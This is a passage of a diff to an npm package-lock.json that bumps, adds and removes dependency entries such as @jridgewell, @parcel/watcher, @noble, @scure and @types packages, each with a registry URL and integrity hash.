"1.2.1", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==" }, "@jridgewell/source-map": { - "version": "0.3.2", - "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.2.tgz", - "integrity": "sha512-m7O9o2uR8k2ObDysZYzdfhb08VuEml5oWGiosa1VdaPZ/A6QyPkAJuwN0Q1lhULOf6B7MtQmHENS743hWtCrgw==", + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz", + "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==", "dev": true, "requires": { - "@jridgewell/gen-mapping": "^0.3.0", - "@jridgewell/trace-mapping": "^0.3.9" + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" } }, "@jridgewell/sourcemap-codec": { - "version": "1.4.14", - "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", - "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==" + "version": "1.5.4", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.4.tgz", + "integrity": "sha512-VT2+G1VQs/9oz078bLrYbecdZKs912zQlkelYpuf+SXF+QvZDYJlbx/LSx+meSAwdDFnF8FVXW92AVjjkVmgFw==" }, "@jridgewell/trace-mapping": { - "version": "0.3.15", - "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.15.tgz", - "integrity": "sha512-oWZNOULl+UbhsgB51uuZzglikfIKSUBO/M9W2OfEjn7cmqoAiCgmv9lyACTUacZwBz0ITnJ2NqjU8Tx0DHL88g==", + "version": "0.3.29", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.29.tgz", + "integrity": "sha512-uw6guiW/gcAGPDhLmd77/6lW8QLeiV5RUTsAX46Db6oLhGaVj4lhnPwb184s1bkc8kdVg/+h988dro8GRDpmYQ==", "requires": { - "@jridgewell/resolve-uri": "^3.0.3", - "@jridgewell/sourcemap-codec": "^1.4.10" + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" } }, + "@kurkle/color": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/@kurkle/color/-/color-0.3.1.tgz", + "integrity": "sha512-hW0GwZj06z/ZFUW2Espl7toVDjghJN+EKqyXzPSV8NV89d5BYp5rRMBJoc+aUN0x5OXDMeRQHazejr2Xmqj2tw==" + }, "@metamask/safe-event-emitter": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/@metamask/safe-event-emitter/-/safe-event-emitter-2.0.0.tgz", "integrity": "sha512-/kSXhY692qiV1MXu6EeOZvg5nECLclxNXcKCxJ3cXQgYuRymRHpdx/t7JXfsK+JLjwA1e1c1/SBrlQYpusC29Q==" }, - "@nodelib/fs.scandir": { - "version": "2.1.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", - "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", - "dev": true, + "@noble/curves": { + "version": "1.4.2", + "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-1.4.2.tgz", + "integrity": "sha512-TavHr8qycMChk8UwMld0ZDRvatedkzWfH8IiaeGCfymOP5i0hSCozz9vHOL0nkwk7HRMlFnAiKpS2jrUmSybcw==", "requires": { - "@nodelib/fs.stat": "2.0.5", - "run-parallel": "^1.1.9" + "@noble/hashes": "1.4.0" } }, - "@nodelib/fs.stat": { - "version": "2.0.5", - "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", - "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", - "dev": true - }, - "@nodelib/fs.walk": { - "version": "1.2.8", - "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", - "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", - "dev": true, - "requires": { - "@nodelib/fs.scandir": "2.1.5", - "fastq": "^1.6.0" - } + "@noble/hashes": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.4.0.tgz", + "integrity": "sha512-V1JJ1WTRUqHHrOSh597hURcMqVKVGL/ea3kv0gSnEdsEZ0/+VyPghM1lMNGc00z7CIQorSvbKpuJkxvuHbvdbg==" }, - "@npmcli/fs": { - "version": "1.0.0", - "resolved": "https://registry.npmjs.org/@npmcli/fs/-/fs-1.0.0.tgz", - "integrity": "sha512-8ltnOpRR/oJbOp8vaGUnipOi3bqkcW+sLHFlyXIr08OGHmVJLB1Hn7QtGXbYcpVtH1gAYZTlmDXtE4YV0+AMMQ==", + "@parcel/watcher": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher/-/watcher-2.5.0.tgz", + "integrity": "sha512-i0GV1yJnm2n3Yq1qw6QrUrd/LI9bE8WEBOTtOkpCXHHdyN3TAGgqAK/DAT05z4fq2x04cARXt2pDmjWjL92iTQ==", "dev": true, "optional": true, - "peer": true, "requires": { - "@gar/promisify": "^1.0.1", - "semver": "^7.3.5" + "@parcel/watcher-android-arm64": "2.5.0", + "@parcel/watcher-darwin-arm64": "2.5.0", + "@parcel/watcher-darwin-x64": "2.5.0", + "@parcel/watcher-freebsd-x64": "2.5.0", + "@parcel/watcher-linux-arm-glibc": "2.5.0", + "@parcel/watcher-linux-arm-musl": "2.5.0", + "@parcel/watcher-linux-arm64-glibc": "2.5.0", + "@parcel/watcher-linux-arm64-musl": "2.5.0", + "@parcel/watcher-linux-x64-glibc": "2.5.0", + "@parcel/watcher-linux-x64-musl": "2.5.0", + "@parcel/watcher-win32-arm64": "2.5.0", + "@parcel/watcher-win32-ia32": "2.5.0", + "@parcel/watcher-win32-x64": "2.5.0", + "detect-libc": "^1.0.3", + "is-glob": "^4.0.3", + "micromatch": "^4.0.5", + "node-addon-api": "^7.0.0" }, "dependencies": { - "semver": { - "version": "7.3.5", - "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", - "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "node-addon-api": { + "version": "7.1.1", + "resolved": "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz", + "integrity": "sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==", "dev": true, - "optional": true, - "peer": true, - "requires": { - "lru-cache": "^6.0.0" - } + "optional": true } } }, - "@npmcli/move-file": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@npmcli/move-file/-/move-file-1.1.2.tgz", - "integrity": "sha512-1SUf/Cg2GzGDyaf15aR9St9TWlb+XvbZXWpDx8YKs7MLzMH/BCeopv+y9vzrzgkfykCGuWOlSu3mZhj2+FQcrg==", + "@parcel/watcher-android-arm64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-android-arm64/-/watcher-android-arm64-2.5.0.tgz", + "integrity": "sha512-qlX4eS28bUcQCdribHkg/herLe+0A9RyYC+mm2PXpncit8z5b3nSqGVzMNR3CmtAOgRutiZ02eIJJgP/b1iEFQ==", "dev": true, - "optional": true, - "peer": true, + "optional": true + }, + "@parcel/watcher-darwin-arm64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-arm64/-/watcher-darwin-arm64-2.5.0.tgz", + "integrity": "sha512-hyZ3TANnzGfLpRA2s/4U1kbw2ZI4qGxaRJbBH2DCSREFfubMswheh8TeiC1sGZ3z2jUf3s37P0BBlrD3sjVTUw==", + "dev": true, + "optional": true + }, + "@parcel/watcher-darwin-x64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-darwin-x64/-/watcher-darwin-x64-2.5.0.tgz", + "integrity": "sha512-9rhlwd78saKf18fT869/poydQK8YqlU26TMiNg7AIu7eBp9adqbJZqmdFOsbZ5cnLp5XvRo9wcFmNHgHdWaGYA==", + "dev": true, + "optional": true + }, + "@parcel/watcher-freebsd-x64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-freebsd-x64/-/watcher-freebsd-x64-2.5.0.tgz", + "integrity": "sha512-syvfhZzyM8kErg3VF0xpV8dixJ+RzbUaaGaeb7uDuz0D3FK97/mZ5AJQ3XNnDsXX7KkFNtyQyFrXZzQIcN49Tw==", + "dev": true, + "optional": true + }, + "@parcel/watcher-linux-arm-glibc": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-glibc/-/watcher-linux-arm-glibc-2.5.0.tgz", + "integrity": "sha512-0VQY1K35DQET3dVYWpOaPFecqOT9dbuCfzjxoQyif1Wc574t3kOSkKevULddcR9znz1TcklCE7Ht6NIxjvTqLA==", + "dev": true, + "optional": true + }, + "@parcel/watcher-linux-arm-musl": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm-musl/-/watcher-linux-arm-musl-2.5.0.tgz", + "integrity": "sha512-6uHywSIzz8+vi2lAzFeltnYbdHsDm3iIB57d4g5oaB9vKwjb6N6dRIgZMujw4nm5r6v9/BQH0noq6DzHrqr2pA==", + "dev": true, + "optional": true + }, + "@parcel/watcher-linux-arm64-glibc": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-glibc/-/watcher-linux-arm64-glibc-2.5.0.tgz", + "integrity": "sha512-BfNjXwZKxBy4WibDb/LDCriWSKLz+jJRL3cM/DllnHH5QUyoiUNEp3GmL80ZqxeumoADfCCP19+qiYiC8gUBjA==", + "dev": true, + "optional": true + }, + "@parcel/watcher-linux-arm64-musl": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-arm64-musl/-/watcher-linux-arm64-musl-2.5.0.tgz", + "integrity": "sha512-S1qARKOphxfiBEkwLUbHjCY9BWPdWnW9j7f7Hb2jPplu8UZ3nes7zpPOW9bkLbHRvWM0WDTsjdOTUgW0xLBN1Q==", + "dev": true, + "optional": true + }, + "@parcel/watcher-linux-x64-glibc": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-glibc/-/watcher-linux-x64-glibc-2.5.0.tgz", + "integrity": "sha512-d9AOkusyXARkFD66S6zlGXyzx5RvY+chTP9Jp0ypSTC9d4lzyRs9ovGf/80VCxjKddcUvnsGwCHWuF2EoPgWjw==", + "dev": true, + "optional": true + }, + "@parcel/watcher-linux-x64-musl": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-linux-x64-musl/-/watcher-linux-x64-musl-2.5.0.tgz", + "integrity": "sha512-iqOC+GoTDoFyk/VYSFHwjHhYrk8bljW6zOhPuhi5t9ulqiYq1togGJB5e3PwYVFFfeVgc6pbz3JdQyDoBszVaA==", + "dev": true, + "optional": true + }, + "@parcel/watcher-win32-arm64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-arm64/-/watcher-win32-arm64-2.5.0.tgz", + "integrity": "sha512-twtft1d+JRNkM5YbmexfcH/N4znDtjgysFaV9zvZmmJezQsKpkfLYJ+JFV3uygugK6AtIM2oADPkB2AdhBrNig==", + "dev": true, + "optional": true + }, + "@parcel/watcher-win32-ia32": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-ia32/-/watcher-win32-ia32-2.5.0.tgz", + "integrity": "sha512-+rgpsNRKwo8A53elqbbHXdOMtY/tAtTzManTWShB5Kk54N8Q9mzNWV7tV+IbGueCbcj826MfWGU3mprWtuf1TA==", + "dev": true, + "optional": true + }, + "@parcel/watcher-win32-x64": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/@parcel/watcher-win32-x64/-/watcher-win32-x64-2.5.0.tgz", + "integrity": "sha512-lPrxve92zEHdgeff3aiu4gDOIt4u7sJYha6wbdEZDCDUhtjTsOMiaJzG5lMY4GkWH8p0fMmO2Ppq5G5XXG+DQw==", + "dev": true, + "optional": true + }, + "@rrweb/types": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/@rrweb/types/-/types-2.0.0-alpha.18.tgz", + "integrity": "sha512-iMH3amHthJZ9x3gGmBPmdfim7wLGygC2GciIkw2A6SO8giSn8PHYtRT8OKNH4V+k3SZ6RSnYHcTQxBA7pSWZ3Q==" + }, + "@rrweb/utils": { + "version": "2.0.0-alpha.18", + "resolved": "https://registry.npmjs.org/@rrweb/utils/-/utils-2.0.0-alpha.18.tgz", + "integrity": "sha512-qV8azQYo9RuwW4NGRtOiQfTBdHNL1B0Q//uRLMbCSjbaKqJYd88Js17Bdskj65a0Vgp2dwTLPIZ0gK47dfjfaA==" + }, + "@rtsao/scc": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@rtsao/scc/-/scc-1.1.0.tgz", + "integrity": "sha512-zt6OdqaDoOnJ1ZYsCYGt9YmWzDXl4vQdKTyJev62gFhRGKdx7mcT54V9KIjg+d2wi9EXsPvAPKe7i7WjfVWB8g==", + "dev": true + }, + "@scure/base": { + "version": "1.1.8", + "resolved": "https://registry.npmjs.org/@scure/base/-/base-1.1.8.tgz", + "integrity": "sha512-6CyAclxj3Nb0XT7GHK6K4zK6k2xJm6E4Ft0Ohjt4WgegiFUHEtFb2CGzmPmGBwoIhrLsqNLYfLr04Y1GePrzZg==" + }, + "@scure/bip32": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@scure/bip32/-/bip32-1.4.0.tgz", + "integrity": "sha512-sVUpc0Vq3tXCkDGYVWGIZTRfnvu8LoTDaev7vbwh0omSvVORONr960MQWdKqJDCReIEmTj3PAr73O3aoxz7OPg==", + "requires": { + "@noble/curves": "~1.4.0", + "@noble/hashes": "~1.4.0", + "@scure/base": "~1.1.6" + } + }, + "@scure/bip39": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/@scure/bip39/-/bip39-1.3.0.tgz", + "integrity": "sha512-disdg7gHuTDZtY+ZdkmLpPCk7fxZSu3gBiEGuoC1XYxv9cGx3Z6cpTggCgW6odSOOIXCiDjuGejW+aJKCY/pIQ==", "requires": { - "mkdirp": "^1.0.4", - "rimraf": "^3.0.2" + "@noble/hashes": "~1.4.0", + "@scure/base": "~1.1.6" } }, "@sinclair/typebox": { - "version": "0.24.27", - "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.24.27.tgz", - "integrity": "sha512-K7C7IlQ3zLePEZleUN21ceBA2aLcMnLHTLph8QWk1JK37L90obdpY+QGY8bXMKxf1ht1Z0MNewvXxWv0oGDYFg==", + "version": "0.27.8", + "resolved": "https://registry.npmjs.org/@sinclair/typebox/-/typebox-0.27.8.tgz", + "integrity": "sha512-+Fj43pSMwJs4KRrH/938Uf+uAELIgVBmQzg/q1YG10djyfA3TnrU8N8XzqCh/okZdszqBQTZf96idMfE5lnwTA==", "dev": true }, - "@sindresorhus/is": { - "version": "4.6.0", - "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-4.6.0.tgz", - "integrity": "sha512-t09vSN3MdfsyCHoFcTRCH/iUtG7OJ0CsjzB8cjAmKc/va/kIgeDI/TxsigdncE/4be734m0cvIYwNaV4i2XqAw==" - }, "@sinonjs/commons": { - "version": "1.8.3", - "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.3.tgz", - "integrity": "sha512-xkNcLAn/wZaX14RPlwizcKicDk9G3F8m2nU3L7Ukm5zBgTwiT0wsoFAHx9Jq56fJA1z/7uKGtCRu16sOUCLIHQ==", + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-2.0.0.tgz", + "integrity": "sha512-uLa0j859mMrg2slwQYdO/AkrOfmH+X6LTVmNTS9CqexuE2IvVORIkSpJLqePAbEnKJ77aMmCwr1NUZ57120Xcg==", "dev": true, "requires": { "type-detect": "4.0.8" } }, "@sinonjs/fake-timers": { - "version": "9.1.2", - "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-9.1.2.tgz", - "integrity": "sha512-BPS4ynJW/o92PUR4wgriz2Ud5gpST5vz6GQfMixEDK0Z8ZCUv2M7SkBLykH56T++Xs+8ln9zTGbOvNGIe02/jw==", + "version": "10.0.2", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-10.0.2.tgz", + "integrity": "sha512-SwUDyjWnah1AaNl7kxsa7cfLhlTYoiyhDAIgyh+El30YvXs/o7OLXpYH88Zdhyx9JExKrmHDJ+10bwIcY80Jmw==", "dev": true, "requires": { - "@sinonjs/commons": "^1.7.0" - } - }, - "@szmarczak/http-timer": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-5.0.1.tgz", - "integrity": "sha512-+PmQX0PiAYPMeVYe237LJAYvOMYW1j2rH5YROyS3b4CTVJum34HfRvKvAzozHAQG0TnHNdUfY9nCeUyRAs//cw==", - "requires": { - "defer-to-connect": "^2.0.1" + "@sinonjs/commons": "^2.0.0" } }, "@tarekraafat/autocomplete.js": { - "version": "10.2.7", - "resolved": "https://registry.npmjs.org/@tarekraafat/autocomplete.js/-/autocomplete.js-10.2.7.tgz", - "integrity": "sha512-iE+dnXI8/LrTaSORrnNdSyXg/bFCbCpz/R5GUdB3ioW+9PVEhglxNcSDQNeCXtrbRG0kOBFUd4unEiwcmqyn8A==" - }, - "@tootallnate/once": { - "version": "1.1.2", - "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-1.1.2.tgz", - "integrity": "sha512-RbzJvlNzmRq5c3O09UipeuXno4tA1FE6ikOjxZK0tuxVv3412l64l5t1W5pj4+rJq9vpkm/kwiR07aZXnsKPxw==", - "dev": true, - "optional": true, - "peer": true + "version": "10.2.9", + "resolved": "https://registry.npmjs.org/@tarekraafat/autocomplete.js/-/autocomplete.js-10.2.9.tgz", + "integrity": "sha512-A7OP3iJDTWeO85M3Vxu391acu9SmDguormHpMZ13khuyM180dKl9O1gAXSDA322XwkYuUU1Ad7WchW1TQNNuDw==" }, "@trysound/sax": { "version": "0.2.0", @@ -20983,13 +18412,13 @@ "dev": true }, "@types/babel__core": { - "version": "7.1.19", - "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.1.19.tgz", - "integrity": "sha512-WEOTgRsbYkvA/KCsDwVEGkd7WAr1e3g31VHQ8zy5gul/V1qKullU/BU5I68X5v7V3GnB9eotmom4v5a5gjxorw==", + "version": "7.20.1", + "resolved": "https://registry.npmjs.org/@types/babel__core/-/babel__core-7.20.1.tgz", + "integrity": "sha512-aACu/U/omhdk15O4Nfb+fHgH/z3QsfQzpnvRZhYhThms83ZnAOZz7zZAWO7mn2yyNQaA4xTO8GLK3uqFU4bYYw==", "dev": true, "requires": { - "@babel/parser": "^7.1.0", - "@babel/types": "^7.0.0", + "@babel/parser": "^7.20.7", + "@babel/types": "^7.20.7", "@types/babel__generator": "*", "@types/babel__template": "*", "@types/babel__traverse": "*" @@ -21015,12 +18444,12 @@ } }, "@types/babel__traverse": { - "version": "7.18.0", - "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.18.0.tgz", - "integrity": "sha512-v4Vwdko+pgymgS+A2UIaJru93zQd85vIGWObM5ekZNdXCKtDYqATlEYnWgfo86Q6I1Lh0oXnksDnMU1cwmlPDw==", + "version": "7.20.1", + "resolved": "https://registry.npmjs.org/@types/babel__traverse/-/babel__traverse-7.20.1.tgz", + "integrity": "sha512-MitHFXnhtgwsGZWtT68URpOvLN4EREih1u3QtQiN4VdAxWKRVvGCSvw/Qth0M0Qq3pJpnGOu5JaM/ydK7OGbqg==", "dev": true, "requires": { - "@babel/types": "^7.3.0" + "@babel/types": "^7.20.7" } }, "@types/bn.js": { @@ -21031,21 +18460,15 @@ "@types/node": "*" } }, - "@types/cacheable-request": { - "version": "6.0.2", - "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.2.tgz", - "integrity": "sha512-B3xVo+dlKM6nnKTcmm5ZtY/OL8bOAOd2Olee9M1zft65ox50OzjEHW91sDiU9j6cvW8Ejg1/Qkf4xd2kugApUA==", - "requires": { - "@types/http-cache-semantics": "*", - "@types/keyv": "*", - "@types/node": "*", - "@types/responselike": "*" - } + "@types/css-font-loading-module": { + "version": "0.0.7", + "resolved": "https://registry.npmjs.org/@types/css-font-loading-module/-/css-font-loading-module-0.0.7.tgz", + "integrity": "sha512-nl09VhutdjINdWyXxHWN/w9zlNCfr60JUqJbd24YXUuCwgeL0TpFSdElCwb6cxfB6ybE19Gjj4g0jsgkXxKv1Q==" }, "@types/eslint": { - "version": "8.4.1", - "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.4.1.tgz", - "integrity": "sha512-GE44+DNEyxxh2Kc6ro/VkIj+9ma0pO0bwv9+uHSyBrikYOHr8zYcdPvnBOp1aw8s+CjRvuSx7CyWqRrNFQ59mA==", + "version": "9.6.1", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-9.6.1.tgz", + "integrity": "sha512-FXx2pKgId/WyYo2jXw63kk7/+TY7u7AziEJxJAnSFzHlqTAS3Ync6SvgYAN/k4/PQpnnVuzoMuVnByKK2qp0ag==", "dev": true, "requires": { "@types/estree": "*", @@ -21053,9 +18476,9 @@ } }, "@types/eslint-scope": { - "version": "3.7.3", - "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.3.tgz", - "integrity": "sha512-PB3ldyrcnAicT35TWPs5IcwKD8S333HMaa2VVv4+wdvebJkjWuW/xESoB8IwRcog8HYVYamb1g/R31Qv5Bx03g==", + "version": "3.7.7", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.7.tgz", + "integrity": "sha512-MzMFlSLBqNF2gcHWO0G1vP/YQyfvrxZ0bF+u7mzUdZ1/xK4A4sru+nraZz5i3iEIk1l1uyicaDVTB4QbbEkAYg==", "dev": true, "requires": { "@types/eslint": "*", @@ -21063,29 +18486,24 @@ } }, "@types/estree": { - "version": "0.0.51", - "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.51.tgz", - "integrity": "sha512-CuPgU6f3eT/XgKKPqKd/gLZV1Xmvf1a2R5POBOGQa6uv82xpls89HU5zKeVoyR8XzHd1RGNOlQlvUe3CFkjWNQ==", + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.6.tgz", + "integrity": "sha512-AYnb1nQyY49te+VRAVgmzfcgjYS91mY5P0TKUDCLEM+gNnA+3T6rWITXRLYCpahpqSQbN5cE+gHpnPyXjHWxcw==", "dev": true }, "@types/graceful-fs": { - "version": "4.1.5", - "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.5.tgz", - "integrity": "sha512-anKkLmZZ+xm4p8JWBf4hElkM4XR+EZeA2M9BAkkTldmcyDY4mbdIJnRghDJH3Ov5ooY7/UAoENtmdMSkaAd7Cw==", + "version": "4.1.6", + "resolved": "https://registry.npmjs.org/@types/graceful-fs/-/graceful-fs-4.1.6.tgz", + "integrity": "sha512-Sig0SNORX9fdW+bQuTEovKj3uHcUL6LQKbCrrqb1X7J6/ReAbhCXRAhc+SMejhLELFj2QcyuxmUooZ4bt5ReSw==", "dev": true, "requires": { "@types/node": "*" } }, - "@types/http-cache-semantics": { - "version": "4.0.1", - "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.1.tgz", - "integrity": "sha512-SZs7ekbP8CN0txVG2xVRH6EgKmEm31BOxA07vkFaETzZz1xh+cbt8BcI0slpymvwhx5dlFnQG2rTlPVQn+iRPQ==" - }, "@types/istanbul-lib-coverage": { - "version": "2.0.4", - "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.4.tgz", - "integrity": "sha512-z/QT1XN4K4KYuslS23k62yDIDLwLFkzxOuMplDtObz0+y7VqJCaO2o+SPwHCvLFZh7xazvvoor2tA/hPz9ee7g==", + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/@types/istanbul-lib-coverage/-/istanbul-lib-coverage-2.0.6.tgz", + "integrity": "sha512-2QF/t/auWm0lsy8XtKVPG19v3sSOQlJe/YHZgfjb/KBBHOGSV+J2q/S671rcq9uTBrLAXmZpqJiaQbMT+zNU1w==", "dev": true }, "@types/istanbul-lib-report": { @@ -21098,18 +18516,18 @@ } }, "@types/istanbul-reports": { - "version": "3.0.1", - "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.1.tgz", - "integrity": "sha512-c3mAZEuK0lvBp8tmuL74XRKn1+y2dcwOUpH7x4WrF6gk1GIgiluDRgMYQtw2OFcBvAJWlt6ASU3tSqxp0Uu0Aw==", + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/@types/istanbul-reports/-/istanbul-reports-3.0.4.tgz", + "integrity": "sha512-pk2B1NWalF9toCRu6gjBzR69syFjP4Od8WRAX+0mmf9lAjCRicLOWc+ZrxZHx/0XRjotgkF9t6iaMJ+aXcOdZQ==", "dev": true, "requires": { "@types/istanbul-lib-report": "*" } }, "@types/jsdom": { - "version": "20.0.0", - "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-20.0.0.tgz", - "integrity": "sha512-YfAchFs0yM1QPDrLm2VHe+WHGtqms3NXnXAMolrgrVP6fgBHHXy1ozAbo/dFtPNtZC/m66bPiCTWYmqp1F14gA==", + "version": "21.1.7", + "resolved": "https://registry.npmjs.org/@types/jsdom/-/jsdom-21.1.7.tgz", + "integrity": "sha512-yOriVnggzrnQ3a9OKOCxaVuSug3w3/SbOj5i7VwXWZEyUNl3bLF9V3MfxGbZKuwqJOQyRfqXyROBB1CoZLFWzA==", "dev": true, "requires": { "@types/node": "*", @@ -21117,15 +18535,10 @@ "parse5": "^7.0.0" } }, - "@types/json-buffer": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/@types/json-buffer/-/json-buffer-3.0.0.tgz", - "integrity": "sha512-3YP80IxxFJB4b5tYC2SUPwkg0XQLiu0nWvhRgEatgjf+29IcWO9X1k8xRv5DGssJ/lCrjYTjQPcobJr2yWIVuQ==" - }, "@types/json-schema": { - "version": "7.0.9", - "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.9.tgz", - "integrity": "sha512-qcUXuemtEu+E5wZSJHNxUXeCZhAfXKQ41D+duX+VYPde7xyEVZci+/oXKJL13tnRs9lR2pr4fod59GT6/X1/yQ==", + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", "dev": true }, "@types/json5": { @@ -21134,41 +18547,11 @@ "integrity": "sha512-dRLjCWHYg4oaA77cxO64oO+7JwCwnIzkZPdrrC71jQmQtlhM556pwKo5bUzqvZndkVbeFLIIi+9TC40JNF5hNQ==", "dev": true }, - "@types/keyv": { - "version": "3.1.4", - "resolved": "https://registry.npmjs.org/@types/keyv/-/keyv-3.1.4.tgz", - "integrity": "sha512-BQ5aZNSCpj7D6K2ksrRCTmKRLEpnPvWDiLPfoGyhZ++8YtiK9d/3DBKPJgry359X/P1PfruyYwvnvwFjuEiEIg==", - "requires": { - "@types/node": "*" - } - }, - "@types/minimist": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", - "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==", - "dev": true, - "optional": true, - "peer": true - }, "@types/node": { "version": "16.11.6", "resolved": "https://registry.npmjs.org/@types/node/-/node-16.11.6.tgz", "integrity": "sha512-ua7PgUoeQFjmWPcoo9khiPum3Pd60k4/2ZGXt18sm2Slk0W0xZTqt5Y0Ny1NyBiN1EVQ/+FaF9NcY4Qe6rwk5w==" }, - "@types/normalize-package-data": { - "version": "2.4.1", - "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", - "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==", - "dev": true, - "optional": true, - "peer": true - }, - "@types/parse-json": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.0.tgz", - "integrity": 